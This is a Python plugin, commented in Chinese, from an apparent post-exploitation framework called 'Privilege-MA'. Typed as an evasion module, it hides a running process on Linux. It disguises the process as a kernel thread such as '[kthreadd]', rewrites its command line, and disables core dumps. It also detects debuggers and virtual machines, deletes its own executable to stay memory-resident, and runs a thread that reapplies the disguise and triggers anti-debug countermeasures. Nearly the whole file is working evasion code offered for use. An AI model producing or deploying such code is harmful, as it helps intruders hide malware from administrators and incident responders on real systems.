#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
进程隐藏插件示例
演示规避检测类插件的开发规范

功能:
1. 隐藏当前进程
2. 伪装进程名称
3. 修改进程参数
4. 内存驻留技术
5. 反调试保护
"""

import os
import sys
import ctypes
import signal
import subprocess
import threading
import time
from typing import Dict, List, Optional, Any
from dataclasses import dataclass

from ..base_plugin import (
    BasePlugin, PluginMetadata, PluginConfig, PluginResult, 
    PluginStatus, PluginType, PluginPriority
)

@dataclass
class ProcessInfo:
    """进程信息"""
    pid: int
    name: str
    cmdline: str
    hidden: bool = False
    disguised: bool = False

class ProcessHidingPlugin(BasePlugin):
    """进程隐藏插件"""
    
    def __init__(self, config: PluginConfig):
        """初始化插件"""
        # 设置插件元数据
        metadata = PluginMetadata(
            name="process_hiding",
            version="1.0.0",
            description="进程隐藏和伪装插件",
            author="Privilege-MA Team",
            plugin_type=PluginType.EVASION,
            priority=PluginPriority.HIGH,
            requires_root=False,
            supported_platforms=["linux"],
            dependencies=["prctl"],
            config_schema={
                "hide_method": {"type": "str", "default": "rename", "description": "隐藏方法"},
                "disguise_name": {"type": "str", "default": "[kthreadd]", "description": "伪装进程名"},
                "disguise_cmdline": {"type": "str", "default": "", "description": "伪装命令行"},
                "enable_anti_debug": {"type": "bool", "default": True, "description": "启用反调试"},
                "enable_anti_trace": {"type": "bool", "default": True, "description": "启用反跟踪"},
                "memory_resident": {"type": "bool", "default": False, "description": "内存驻留"},
                "cleanup_on_exit": {"type": "bool", "default": True, "description": "退出时清理"}
            }
        )
        
        super().__init__(config, metadata)
        
        # 进程信息
        self.original_process = ProcessInfo(
            pid=os.getpid(),
            name=self._get_process_name(),
            cmdline=self._get_process_cmdline()
        )
        
        # 隐藏状态
        self.hiding_active = False
        self.anti_debug_active = False
        self.monitoring_thread = None
        
        # 系统调用接口
        self.libc = None
        self._init_libc()
    
    def initialize(self) -> bool:
        """初始化插件"""
        try:
            self.logger.info("初始化进程隐藏插件...")
            
            # 检查权限和环境
            if not self._check_environment():
                self.logger.error("环境检查失败")
                return False
            
            # 初始化系统调用
            if not self._init_syscalls():
                self.logger.warning("部分系统调用初始化失败，功能可能受限")
            
            self.logger.info(f"当前进程: PID={self.original_process.pid}, Name={self.original_process.name}")
            
            return True
            
        except Exception as e:
            self.logger.error(f"插件初始化失败: {e}")
            return False
    
    def execute(self) -> PluginResult:
        """执行插件主要功能"""
        try:
            self.logger.info("开始执行进程隐藏...")
            
            results = {
                "original_process": {
                    "pid": self.original_process.pid,
                    "name": self.original_process.name,
                    "cmdline": self.original_process.cmdline
                },
                "hiding_methods": [],
                "anti_debug_enabled": False,
                "anti_trace_enabled": False,
                "memory_resident": False,
                "status": "inactive"
            }
            
            # 1. 启用反调试保护
            if self.config.get_value("enable_anti_debug", True):
                if self._enable_anti_debug():
                    results["anti_debug_enabled"] = True
                    results["hiding_methods"].append("anti_debug")
                    self.logger.info("反调试保护已启用")
            
            # 2. 启用反跟踪保护
            if self.config.get_value("enable_anti_trace", True):
                if self._enable_anti_trace():
                    results["anti_trace_enabled"] = True
                    results["hiding_methods"].append("anti_trace")
                    self.logger.info("反跟踪保护已启用")
            
            # 3. 进程名伪装
            hide_method = self.config.get_value("hide_method", "rename")
            if hide_method == "rename":
                if self._disguise_process_name():
                    results["hiding_methods"].append("process_rename")
                    self.logger.info("进程名伪装成功")
            
            # 4. 命令行伪装
            if self.config.get_value("disguise_cmdline"):
                if self._disguise_cmdline():
                    results["hiding_methods"].append("cmdline_disguise")
                    self.logger.info("命令行伪装成功")
            
            # 5. 内存驻留
            if self.config.get_value("memory_resident", False):
                if self._enable_memory_resident():
                    results["memory_resident"] = True
                    results["hiding_methods"].append("memory_resident")
                    self.logger.info("内存驻留已启用")
            
            # 6. 启动监控线程
            self._start_monitoring()
            
            # 更新状态
            self.hiding_active = True
            results["status"] = "active"
            results["current_process"] = {
                "pid": os.getpid(),
                "name": self._get_process_name(),
                "cmdline": self._get_process_cmdline()
            }
            
            success = len(results["hiding_methods"]) > 0
            message = f"进程隐藏已激活，使用方法: {', '.join(results['hiding_methods'])}"
            
            return PluginResult(
                success=success,
                message=message,
                data=results
            )
            
        except Exception as e:
            self.logger.error(f"插件执行失败: {e}")
            return PluginResult(
                success=False,
                message=f"执行失败: {str(e)}",
                data={"error": str(e)}
            )
    
    def cleanup(self):
        """清理插件资源"""
        try:
            self.logger.info("清理进程隐藏插件资源...")
            
            # 停止监控线程
            if self.monitoring_thread and self.monitoring_thread.is_alive():
                self.hiding_active = False
                self.monitoring_thread.join(timeout=5)
            
            # 恢复原始进程信息
            if self.config.get_value("cleanup_on_exit", True):
                self._restore_process_info()
            
        except Exception as e:
            self.logger.error(f"插件清理失败: {e}")
    
    def is_compatible(self) -> bool:
        """检查插件兼容性"""
        return os.name == 'posix' and sys.platform.startswith('linux')
    
    def _init_libc(self):
        """初始化libc接口"""
        try:
            self.libc = ctypes.CDLL("libc.so.6")
        except Exception as e:
            self.logger.debug(f"加载libc失败: {e}")
            self.libc = None
    
    def _check_environment(self) -> bool:
        """检查运行环境"""
        try:
            # 检查是否在容器中
            if os.path.exists("/.dockerenv"):
                self.logger.info("检测到Docker环境")
            
            # 检查调试器
            if self._detect_debugger():
                self.logger.warning("检测到调试器存在")
            
            # 检查虚拟机
            if self._detect_vm():
                self.logger.info("检测到虚拟机环境")
            
            return True
            
        except Exception as e:
            self.logger.error(f"环境检查失败: {e}")
            return False
    
    def _init_syscalls(self) -> bool:
        """初始化系统调用"""
        try:
            if not self.libc:
                return False
            
            # 设置函数原型
            self.libc.prctl.argtypes = [ctypes.c_int, ctypes.c_ulong, ctypes.c_ulong, ctypes.c_ulong, ctypes.c_ulong]
            self.libc.prctl.restype = ctypes.c_int
            
            return True
            
        except Exception as e:
            self.logger.debug(f"系统调用初始化失败: {e}")
            return False
    
    def _get_process_name(self) -> str:
        """获取当前进程名"""
        try:
            with open(f"/proc/{os.getpid()}/comm", 'r') as f:
                return f.read().strip()
        except Exception:
            return os.path.basename(sys.argv[0])
    
    def _get_process_cmdline(self) -> str:
        """获取当前进程命令行"""
        try:
            with open(f"/proc/{os.getpid()}/cmdline", 'r') as f:
                return f.read().replace('\x00', ' ').strip()
        except Exception:
            return ' '.join(sys.argv)
    
    def _detect_debugger(self) -> bool:
        """检测调试器"""
        try:
            # 检查TracerPid
            with open(f"/proc/{os.getpid()}/status", 'r') as f:
                status = f.read()
            
            tracer_match = re.search(r'TracerPid:\s*(\d+)', status)
            if tracer_match and int(tracer_match.group(1)) != 0:
                return True
            
            # 检查ptrace
            try:
                if self.libc:
                    # PTRACE_TRACEME = 0
                    result = self.libc.ptrace(0, 0, 0, 0)
                    if result == -1:
                        return True
            except Exception:
                pass
            
            return False
            
        except Exception:
            return False
    
    def _detect_vm(self) -> bool:
        """检测虚拟机"""
        try:
            # 检查DMI信息
            vm_indicators = [
                "/sys/class/dmi/id/product_name",
                "/sys/class/dmi/id/sys_vendor"
            ]
            
            vm_strings = ["vmware", "virtualbox", "qemu", "kvm", "xen", "hyper-v"]
            
            for indicator_file in vm_indicators:
                if os.path.exists(indicator_file):
                    try:
                        with open(indicator_file, 'r') as f:
                            content = f.read().lower()
                        
                        for vm_string in vm_strings:
                            if vm_string in content:
                                return True
                    except Exception:
                        continue
            
            return False
            
        except Exception:
            return False
    
    def _enable_anti_debug(self) -> bool:
        """启用反调试保护"""
        try:
            if not self.libc:
                return False
            
            # PR_SET_DUMPABLE = 4
            # 禁用core dump
            result = self.libc.prctl(4, 0, 0, 0, 0)
            if result == 0:
                self.anti_debug_active = True
                return True
            
            return False
            
        except Exception as e:
            self.logger.debug(f"启用反调试失败: {e}")
            return False
    
    def _enable_anti_trace(self) -> bool:
        """启用反跟踪保护"""
        try:
            # 设置信号处理器
            def sigtrap_handler(signum, frame):
                self.logger.warning("检测到跟踪尝试")
                # 可以在这里实现反制措施
                pass
            
            signal.signal(signal.SIGTRAP, sigtrap_handler)
            
            return True
            
        except Exception as e:
            self.logger.debug(f"启用反跟踪失败: {e}")
            return False
    
    def _disguise_process_name(self) -> bool:
        """伪装进程名"""
        try:
            disguise_name = self.config.get_value("disguise_name", "[kthreadd]")
            
            if not self.libc:
                return False
            
            # PR_SET_NAME = 15
            name_bytes = disguise_name.encode('utf-8')[:15]  # 最大15字节
            result = self.libc.prctl(15, name_bytes, 0, 0, 0)
            
            if result == 0:
                self.logger.debug(f"进程名已伪装为: {disguise_name}")
                return True
            
            return False
            
        except Exception as e:
            self.logger.debug(f"进程名伪装失败: {e}")
            return False
    
    def _disguise_cmdline(self) -> bool:
        """伪装命令行"""
        try:
            disguise_cmdline = self.config.get_value("disguise_cmdline", "")
            if not disguise_cmdline:
                return False
            
            # 修改argv[0]
            if len(sys.argv) > 0:
                # 这种方法在某些情况下可能不完全有效
                sys.argv[0] = disguise_cmdline
                
                # 尝试修改进程标题
                try:
                    import setproctitle
                    setproctitle.setproctitle(disguise_cmdline)
                    return True
                except ImportError:
                    self.logger.debug("setproctitle模块不可用")
            
            return False
            
        except Exception as e:
            self.logger.debug(f"命令行伪装失败: {e}")
            return False
    
    def _enable_memory_resident(self) -> bool:
        """启用内存驻留"""
        try:
            # 删除可执行文件（如果可能）
            try:
                exe_path = os.readlink(f"/proc/{os.getpid()}/exe")
                if os.path.exists(exe_path) and os.access(exe_path, os.W_OK):
                    os.unlink(exe_path)
                    self.logger.debug("可执行文件已删除")
                    return True
            except Exception:
                pass
            
            # 清空环境变量中的敏感信息
            sensitive_vars = ['PWD', 'OLDPWD', '_']
            for var in sensitive_vars:
                if var in os.environ:
                    os.environ[var] = '/tmp'
            
            return True
            
        except Exception as e:
            self.logger.debug(f"内存驻留失败: {e}")
            return False
    
    def _start_monitoring(self):
        """启动监控线程"""
        def monitor():
            while self.hiding_active:
                try:
                    # 检查是否被调试
                    if self._detect_debugger():
                        self.logger.warning("检测到调试器，执行反制措施")
                        self._anti_debug_countermeasure()
                    
                    # 检查进程名是否被修改
                    current_name = self._get_process_name()
                    expected_name = self.config.get_value("disguise_name", "[kthreadd]")
                    
                    if current_name != expected_name:
                        self.logger.debug("进程名被修改，重新伪装")
                        self._disguise_process_name()
                    
                    time.sleep(5)  # 每5秒检查一次
                    
                except Exception as e:
                    self.logger.debug(f"监控线程错误: {e}")
                    time.sleep(10)
        
        self.monitoring_thread = threading.Thread(target=monitor, daemon=True)
        self.monitoring_thread.start()
    
    def _anti_debug_countermeasure(self):
        """反调试对抗措施"""
        try:
            # 可以实现各种反制措施
            # 例如：退出程序、清理痕迹、发送假信息等
            
            self.logger.warning("执行反调试对抗措施")
            
            # 示例：清理敏感内存
            import gc
            gc.collect()
            
            # 示例：修改行为模式
            time.sleep(1)
            
        except Exception as e:
            self.logger.debug(f"反调试对抗失败: {e}")
    
    def _restore_process_info(self):
        """恢复原始进程信息"""
        try:
            # 恢复进程名
            if self.libc:
                original_name = self.original_process.name.encode('utf-8')[:15]
                self.libc.prctl(15, original_name, 0, 0, 0)
            
            # 恢复argv
            if len(sys.argv) > 0:
                sys.argv[0] = self.original_process.name
            
            self.logger.debug("进程信息已恢复")
            
        except Exception as e:
            self.logger.debug(f"恢复进程信息失败: {e}")

# 使用示例
if __name__ == "__main__":
    print("=== 进程隐藏插件测试 ===")
    
    # 创建配置
    config = PluginConfig({
        "hide_method": "rename",
        "disguise_name": "[kworker/0:1]",
        "enable_anti_debug": True,
        "enable_anti_trace": True
    })
    
    # 创建插件实例
    plugin = ProcessHidingPlugin(config)
    
    # 初始化插件
    if plugin.initialize():
        print("插件初始化成功")
        print(f"原始进程: PID={plugin.original_process.pid}, Name={plugin.original_process.name}")
        
        # 执行插件
        result = plugin.execute()
        
        print(f"执行结果: {result.success}")
        print(f"消息: {result.message}")
        
        if result.data:
            print("隐藏状态:")
            for method in result.data.get("hiding_methods", []):
                print(f"  - {method}")
        
        # 等待一段时间观察效果
        print("等待10秒观察隐藏效果...")
        time.sleep(10)
        
        # 清理
        plugin.cleanup()
        print("插件已清理")
    else:
        print("插件初始化失败")